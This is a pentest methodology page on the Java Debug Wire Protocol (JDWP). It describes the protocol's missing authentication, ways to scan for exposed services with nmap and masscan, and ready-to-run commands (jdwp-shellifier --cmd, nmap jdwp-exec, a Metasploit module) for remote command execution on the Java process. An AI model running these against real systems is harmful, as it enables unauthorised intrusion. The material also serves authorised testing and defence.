> For the complete documentation index, see [llms.txt](https://notes.qazeer.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.qazeer.io/l7/methodology-20.md).

# 8000 - JDWP

### Overview

The `Java Debug Wire Protocol (JDWP)` is one of three interfaces of the `Java Platform Debug Architecture`, which is designed for debugging purposes in development environments. The `JDWP` is a communication protocol used for the exchanges between a debugger and a `Java Virtual Machine (JVM)` being debugged, sometimes referred to as the "target `JVM`".

The `JDWP` protocol is asynchronous and implement two basic packet types: `command packets` and `reply packets`. The `command packets` are used to instruct the receiving component to execute of a specific command. While `command packets` can be sent by both the debugger and the target `JVM`, they are generally sent by the debugger. The `reply packets` are only sent in response to a `command packet` and return information about the command execution (command execution status, command output, etc.).

**Remote code execution can be achieved through the `JDWP` protocol**, as it support the loading of arbitrary classes into the target `JVM` and the invocation of functions. The code will be executed on the remote system under the security context of the target `JVM`.

One example of a simplified process to remotely execute system commands is as follow:

* setting of a breakpoint on a method often called during runtime such as `java.net.ServerSocket.accept()` or `java.lang.String.indexOf()`. This step is required as the next instructions must be executed in a running context (and will thus be executed only after the triggering of the breakpoint).
* retrieval of the `JVM`'s runtime context (of the thread in which the breakpoint is triggered) by sending a `ClassType/InvokeMethod` packet invoking the `java.lang.Runtime.getRuntime()` static method.
* allocation of a Java `String` object that will contain the operating system command to execute.
* calling of the `Runtime.exec()` method to execute the system command defined in the previously allocated string.

Another possibility is to inject a Java class, as a `byte` array, into the target `JVM` using `secureClassLoader.defineClass`. Following the remote loading, a method of the injected class can be invoked to conduct the shell commands execution.

As intended for non-production environments, the **`JDWP` protocol does not support authentication nor data encryption**.

Disabled by default, a `JVM` must be explicitly started with the following arguments in order to be remotely debuggable (and thus exposing a `JDWP` interface):

* Before `Java 5.0`, `-Xdebug` and `-Xrunjdwp`.
* Starting from `Java 5.0`,\
  `-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=<*:8000 | *:PORT>`

### Network scan

While `JDWP` services are standardly exposed on port TCP 8000, the port number of the service is specified at the `JVM` start. `JDWP` services may thus be accessible on any TCP ports.

Note that `JDWP` communications are initiated by a both-way handshake, with the debugger sending a `JDWP-Handshake` string and the target `JVM` responding using the same string. Through this handshake, `JDWP` services can be reliably identified.

```
nmap -v <-p 8000 | -p-> -sV -sC -oA nmap_JDWP <RANGE | CIDR>
```

`massscan` with the configuration file below can be used to scan the network for accessible `JDWP` services by scanning for open TCP ports and attempting a `JDWP-Handshake` handshake.

```
# Usage: masscan [-v] -c <JDWP_MASSCAN_CONF>
# Adapted from: https://raw.githubusercontent.com/IOActive/jdwp-shellifier/master/jdwp-masscan.cfg

rate =  <5000.00 | RATE>
randomize-hosts = true
banners = true
rotate = 0
rotate-dir = .
rotate-offset = 0
rotate-filesize = 0

range = <IP | RANGE | CIDR>
ports = <3999,5000,5005,8000,8453,8787-8788,9001,18000 | 1-65535 | TCP_PORTS>

min-packet = 60
hello-string[0] = SkRXUC1IQU5EU0hBS0U=
```

### Remote Code Execution

The `Metasploit`'s `exploit/multi/misc/java_jdwp_debugger` module, the `jdwp-shellifier` Python script, and the `nmap`'s `jdwp-exec` NSE script can be used to exploit a `JDWP` service to execute remote operating system commands.

The `nmap`'s `jdwp-exec` NSE script remotely inject a Java class while the `Metasploit` module and `jdwp-shellifier.py` directly retrieve the Runtime context to call the `Runtime.exec()` method.

Note that the `Metasploit`'s `exploit/multi/misc/java_jdwp_debugger` module drops a payload file to disk and by doing so may trigger antivirus alerts. Neither `nmap`'s `jdwp-exec` NSE script nor `jdwp-shellifier.py` upload a file to the targeted system.

```
# If executed with out a command, jdwp-shellifier will retrieve basic system information (OS version, current user, Runtime ClassPath, etc.).
# Defaults to break on "java.net.ServerSocket.accept" calls.
# Setting a breakpoint on "java.lang.String.indexOf" can be more reliable.  
jdwp-shellifier.py -t <IP | HOSTNAME> -p <PORT> [--break-on <'java.lang.String.indexOf' | JAVA_METHOD>]
jdwp-shellifier.py -t <IP | HOSTNAME> -p <PORT> [--break-on <'java.lang.String.indexOf' | JAVA_METHOD>] --cmd "<COMMAND>"

nmap -v -sT -sV -p <PORT> --script=+jdwp-exec --script-args cmd="<COMMAND>" <IP | HOSTNAME | RANGE | CIDR>

msf > use exploit/multi/misc/java_jdwp_debugger
```

***

### References

<https://docs.oracle.com/javase/7/docs/technotes/guides/jpda/jdwp-spec.html> <https://ioactive.com/hacking-java-debug-wire-protocol-or-how/> <https://book.hacktricks.xyz/pentesting/pentesting-jdwp-java-debug-wire-protocol> <https://www.redteamsecure.com/research/exploitation-java-debug-wire-protocol>
